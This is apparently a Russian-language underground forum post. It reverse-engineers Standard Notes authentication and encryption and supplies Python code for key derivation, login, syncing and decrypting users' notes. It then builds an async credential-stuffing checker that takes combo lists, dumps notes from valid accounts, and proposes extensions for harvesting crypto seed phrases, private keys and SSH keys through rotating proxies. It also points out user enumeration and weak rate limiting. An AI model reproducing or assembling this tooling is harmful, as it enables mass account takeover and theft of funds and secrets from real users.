Небольшая предыстория. Сидел, смотрел на очередной клауд, и в утечке мелькнул standardnotes.com. Подумал, а интересно, что люди туда кладут? Полез в DevTools, посмотрел что летит при логине, и понял что тут не просто "POST /login с паролем", а целый танец с бубном. И крипта внутри серьёзная, Argon2id на деривации ключей, XChaCha20-Poly1305 на шифровании заметок, матрёшка из ключей внутри ключей. Но вся эта серьёзность упирается в одно, в пароль пользователя. И если пароль говно, то все эти умные слова ничего не стоят. Как обычно, разберём всё по шагам, с граблями на которые наступил, и с кодом который можно взять и запустить. Погнали.
Что за зверь? Standard Notes это заметочник, типа Evernote или Apple Notes, только с упором на приватность. Опенсорс, клиент под все платформы, сервер можно поднять свой. Сервер НЕ видит содержимое заметок, всё шифруется на клиенте. На бумаге всё красиво. Но на практике, именно из-за этой репутации "самого безопасного заметочника" люди тащат туда вещи, которые нигде больше хранить не рискнули бы. Сид-фразы от MetaMask, Trust Wallet, Ledger. Приватные ключи от кошельков. SSH-ключи. Пароли от бирж. Налоговые документы. Адреса, телефоны, документы. И всё это лежит за одним паролем. Один пароль, и у тебя ВСЁ. Не пароль от одного сервиса, а ключ ко всей цифровой жизни человека.
Ладно, хватит лирики. Давайте смотреть, как вообще работает логин в Standard Notes, потому что без понимания этого, дальше будет больно. Открываем app.standardnotes.com, включаем DevTools, вводим какие-нибудь креды, и наблюдаем. Первое что бросается в глаза, это не один запрос, а два. Сначала клиент стучится на /v2/login-params, а потом уже на /v2/login. И между ними происходит та самая магия.
Шаг первый, PKCE. Прежде чем вообще что-то слать на сервер, клиент генерирует пару verifier/challenge. PKCE (Proof Key for Code Exchange) это штука из OAuth 2.0, придуманная чтоб man-in-the-middle не мог перехватить авторизацию. Суть простая, генерируем случайные 32 байта (verifier), считаем от них SHA-256, кодируем в base64, и получаем challenge. Challenge шлём на сервер вместе с запросом параметров, verifier потом шлём при логине. Сервер проверяет что sha256(verifier) == challenge, и если совпало, значит тот кто логинится, тот же кто запрашивал параметры. Антиреплей, если хотите.
def make_pkce() -> tuple[str, str]:
verifier = secrets.token_bytes(32).hex()
digest_hex = hashlib.sha256(verifier.encode()).hexdigest()
challenge = base64.b64encode(digest_hex.encode()).decode().rstrip("=")
return verifier, challenge
Ничего сложного. Но есть прикол, Standard Notes считает SHA-256 не от сырых байтов, а от hex-строки verifier'а, и потом base64 тоже берёт не от сырых байтов хэша, а от hex-строки хэша. Двойная hex-строкизация. Узнал я об этом, естественно, не из документации (какая документация, смешно), а ковыряя их минифицированный app.js. Приятного аппетита.
Шаг второй, запрос KDF-параметров. Шлём POST на /v2/login-params с email'ом и challenge'ем. Сервер возвращает нам версию протокола (004 или 003), pw_nonce (случайный salt), и identifier. По сути сервер говорит: "ага, этот юзер у нас на версии 004, вот тебе соль, иди деривируй ключи". Кстати, тут же и первый подарочек, если email не зарегистрирован, сервер отвечает 404. То есть у нас из коробки user enumeration, бесплатно, без регистрации и SMS. Спасибо, Standard Notes, очень мило.
r = await client.post(
f"{API}/v2/login-params",
json={"email": email, "code_challenge": challenge, "api": "20240226"},
)
params = r.json().get("data", r.json())
version = params["version"] # "004"
pw_nonce = params["pw_nonce"] # случайная соль
identifier = params["identifier"]
Шаг третий, KDF. Key Derivation Function, это алгоритм, который из пароля делает криптографически стойкий ключ фиксированной длины. В версии 004 используется Argon2id, победитель Password Hashing Competition. Параметры: time_cost=5, memory_cost=65536 KiB (64 мегабайта на одну деривацию), parallelism=1, выходная длина 64 байта. Первые 32 байта это masterKey, вторые 32 это serverPassword. masterKey никогда не покидает клиент, он нужен для расшифровки заметок. serverPassword отправляется на сервер вместо реального пароля. Сервер НИКОГДА не видит ваш настоящий пароль, только производную от него. Но вот тут грабли #1, на которые я наступил и провёл час в недоумении. Соль. Документации по формату соли нет. Ну, есть какие-то обрывки на docs.standardnotes.com, но они врут. Я попробовал sha256(identifier + ":" + "SF:004:000000" + ":" + pw_nonce), как подсказывала "документация". Не совпало. Попробовал sha256(email + pw_nonce). Не совпало. В итоге полез в минифицированный app.js, и нашёл.
def salt_004(identifier: str, pw_nonce: str) -> str:
payload = f"{identifier}:{pw_nonce}"
return hashlib.sha256(payload.encode()).hexdigest()[:32]
SHA-256 от строки "identifier:pw_nonce", берём первые 32 hex-символа (это 16 байт, ArgonSaltLength=128 бит), и скармливаем Argon2 как сырые байты. Без всяких "SF:004:000000", без магических префиксов, просто identifier, двоеточие, nonce. Проверил, masterKey и serverPassword совпали с эталонными. Ура, лыжи поехали. Полная деривация:
def derive_004(password, identifier, pw_nonce):
salt = bytes.fromhex(salt_004(identifier, pw_nonce))
raw = hash_secret_raw(
secret=password.encode("utf-8"),
salt=salt,
time_cost=5,
memory_cost=64 * 1024,
parallelism=1,
hash_len=64,
type=Type.ID,
)
return raw[:32].hex(), raw[32:].hex() # masterKey, serverPassword
Для совсем старых аккаунтов (версия 003) используется PBKDF2-SHA512 с кастомной солью и другим форматом, но таких аккаунтов уже мало, код есть в финальном скрипте.
Шаг четвёртый, логин. Шлём POST на /v2/login с email, serverPassword, и code_verifier (тот самый PKCE). Если пароль правильный, сервер возвращает 200 с сессионным токеном. Если нет, 401. Просто, как два пальца.
r = await client.post(
f"{API}/v2/login",
json={
"email": email,
"password": server_pw,
"ephemeral": False,
"code_verifier": verifier,
"hvm_token": "",
"api": "20240226",
},
)
if r.status_code == 200:
token = r.json()["data"]["session"]["access_token"]
Окей, мы залогинились. У нас есть токен и masterKey. Половина дела сделана. Теперь самое вкусное, расшифровка заметок. И вот тут начинается тот самый цирк с матрёшками, о котором я предупреждал. Standard Notes хранит данные в так называемых items. Каждый item это JSON-объект с полями content_type, content, enc_item_key, и кучей метаданных. Типы бывают разные: SN|ItemsKey, Note, SN|UserPreferences, и так далее. Заметки это Note, это понятно. Но чтоб расшифровать Note, нужен itemsKey. А itemsKey сам зашифрован и лежит в item'е типа SN|ItemsKey. А чтоб расшифровать SN|ItemsKey, нужен masterKey. Матрёшка, говорил же. Получаем все items через sync API:
r = await client.post(
f"{API}/v1/items",
json={"limit": 500, "api": "20240226", "items": []},
headers={"authorization": f"Bearer {token}"},
)
items = r.json()["data"]["retrieved_items"]
Теперь про формат шифрования. Каждое зашифрованное поле выглядит так: 004:nonce_hex:ciphertext_b64:aad_b64:extra_b64. Пять частей через двоеточие. 004 это версия протокола, nonce это 24 байта для XChaCha20, ciphertext это собственно шифротекст с тегом Poly1305, aad это authenticated additional data (в base64), и extra это дополнительные данные. Алгоритм, XChaCha20-Poly1305 (IETF), AEAD-шифрование через libsodium. Не только шифрует, но и проверяет целостность, если хоть один бит изменён, расшифровка упадёт.
def decrypt_004(content, key_hex):
parts = content.split(":")
if len(parts) < 4 or parts[0] != "004":
return None
nonce = bytes.fromhex(parts[1]) # 24 байта
ct = base64.b64decode(b64pad(parts[2])) # шифротекст + тег
aad = parts[3].encode("utf-8") # AAD как UTF-8 строка
key = bytes.fromhex(key_hex) # 32 байта ключ
plaintext = nacl.bindings.crypto_aead_xchacha20poly1305_ietf_decrypt(
ct, aad, nonce, key
)
return plaintext.decode("utf-8")
Грабли #2, и вот это стоило мне несколько часов жизни, которые я уже никогда не верну. Я перепробовал четыре варианта AAD: как base64-строку в UTF-8 байтах, как декодированные base64 байты, как None, как конкатенацию четвёртой и пятой частей. ВСЕ ЧЕТЫРЕ ФЭЙЛИЛИ. Знаете почему? Потому что я пытался расшифровать CONTENT напрямую мастер-ключом. А надо было расшифровывать ENC_ITEM_KEY. Это два разных поля у каждого item'а. enc_item_key это зашифрованный per-item ключ, content это зашифрованное содержимое. И правильная последовательность такая:
Для SN|ItemsKey:
- Берём enc_item_key из item'а
- Расшифровываем его мастер-ключом ~> получаем per-item ключ (hex-строка)
- Берём content из того же item'а
- Расшифровываем его per-item ключом ~> получаем JSON с полем itemsKey
- Запоминаем этот itemsKey
Для Note:
- Берём enc_item_key из Note
- Расшифровываем его itemsKey ~> получаем per-note ключ
- Берём content из Note
- Расшифровываем его per-note ключом ~> получаем JSON с title и text
Два уровня шифрования на каждый item. Это я понял, только когда полез в app.js и нашёл вот этот кусок:
decryptContentKey(e, t) {
const n = parseComponents(e.enc_item_key);
return this.decrypt(e, n, t.itemsKey);
}
decryptContent(e, t) {
const n = parseComponents(e.content);
return this.decrypt(e, n, t); // t = расшифрованный per-item key
}
И отдельно для rootKey (мастер-ключа):
get itemsKey() { return this.masterKey }
То есть rootKey.itemsKey это просто masterKey. Для SN|ItemsKey "родительский ключ" = мастер-ключ. Для Note "родительский ключ" = itemsKey из расшифрованного SN|ItemsKey. Всё встало на свои места. А AAD, кстати, берётся именно как base64-строка в UTF-8 байтах. Первый вариант был правильный с самого начала. Просто ключ был не тот. Три часа жизни на то, чтоб понять что я расшифровываю не то поле. Ну классика.
def _decrypt_item_two_step(item, key_hex):
enc_ik = item.get("enc_item_key", "")
content = item.get("content", "")
if not enc_ik.startswith("004:") or not content.startswith("004:"):
return None
per_item_key = decrypt_004(enc_ik, key_hex)
if not per_item_key:
return None
return decrypt_004(content, per_item_key)
Собираем всё вместе. Сначала расшифровываем все SN|ItemsKey мастер-ключом, получаем itemsKey'и. Потом расшифровываем все Note соответствующим itemsKey. Каждый Note знает какой itemsKey ему нужен через поле items_key_id.
def decrypt_notes(items, master_key):
items_keys = {}
for item in items:
if item.get("content_type") != "SN|ItemsKey":
continue
decrypted = _decrypt_item_two_step(item, master_key)
if not decrypted:
continue
obj = json.loads(decrypted)
ik = obj.get("itemsKey")
if ik:
items_keys[item["uuid"]] = ik
notes = []
for item in items:
if item.get("content_type") != "Note" or item.get("deleted"):
continue
ik_id = item.get("items_key_id")
ik_hex = items_keys.get(ik_id)
if not ik_hex:
continue
dec = _decrypt_item_two_step(item, ik_hex)
if not dec:
continue
obj = json.loads(dec)
notes.append({
"title": obj.get("title", "(no title)"),
"text": obj.get("text", ""),
})
return notes
Теперь давайте обернём это в нормальный чекер с многопоточностью (ну, асинхронностью, мы же на asyncio). На вход подаём файл combo.txt в формате email:password, на выходе получаем результат по каждой строке, а для валидных аккаунтов ещё и дамп заметок в папку sn_dumps/. Используем httpx с HTTP/2, asyncio.Queue для распределения задач, и пул воркеров.
async def worker(name, queue, client, out):
while True:
item = await queue.get()
if item is None:
queue.task_done()
return
email, password = item
res = await check_one(client, email, password)
line = f"[{res.status}] {res.email}:{password}"
if res.status == "VALID":
line += f" notes={res.notes_count} mk={res.master_key[:16]}..."
print(line, flush=True)
if res.status == "VALID":
out.write(f"{email}:{password}:{res.notes_count}notes\n")
out.flush()
queue.task_done()
Фулл-сурс я выкладывать не буду, думаю понятно почему. Все кирпичики я разложил, каждая функция объяснена, каждый шаг показан, собрать из этого рабочий инструмент дело получаса для любого кто хоть раз писал на питоне. Кто не хочет собирать сам, ну, на рынке подобный чекер продаётся за 250$ в скомпиленном виде, а исходники аж за 600$ (64к рублей, я в курсе как дела с курсом, автор указывает именно 64к рублей). При том что вся логика, вот она, выше, бесплатно, с объяснением. Делайте выводы.
Что можно докрутить сверху, если хотите превратить это в полноценный комбайн:
- Парс сид-фраз по словарям BIP-39 на разных языках (английский, испанский, португальский, японский, чешский, китайский), ищем последовательности из 12/15/18/21/24 слов в тексте заметок
- Парс приватных ключей, hex (64 символа), WIF (начинается на 5/K/L), EVM-формат
- Поддержка прокси (HTTP/S, SOCKS4, SOCKS5) с ротацией и загрузкой по ссылке
- Автоматический grep по паттернам: ssh-rsa, BEGIN PRIVATE KEY, xprv, 0x, bc1, и так далее
- Экспорт результатов в CSV/JSON для дальнейшей обработки
По сути из того что я показал выше можно за вечер собрать то, что другие продают за сотни долларов. Вся крипто-логика разжёвана, sync API описан, двухуровневая дешифровка работает. Осталось только обвязку накинуть под свои нужды. Что мы имеем по итогу? Полный разбор криптографической архитектуры Standard Notes от и до: PKCE-авторизация, Argon2id KDF с нестандартной солью (которую пришлось реверсить из минифицированного app.js), двухуровневая матрёшка шифрования с per-item ключами, XChaCha20-Poly1305 AEAD через libsodium. Всё это работает без браузера, без Selenium, без headless Chrome, чистый Python с тремя зависимостями. Сервер не использует ни капчу, ни рейтлимит на первых попытках (только после 6-7 фэйлов начинает просить hvm_token), что для сервиса хранящего крипто-сиды и приватные ключи, мягко говоря, оптимистично. Мораль простая, end-to-end шифрование защищает данные в транзите и на сервере, но оно абсолютно бесполезно, если ключ деривируется из пароля, а пароль слабый. Все эти красивые слова про "zero-knowledge" и "military-grade encryption" работают ровно до тех пор, пока юзер не поставит пароль qwerty123. А люди, которые хранят там сиды на сотни тысяч долларов, почему-то верят что слово "encrypted" их защитит от собственной лени придумать нормальный пароль. Всем пока, не болейте!
LIMB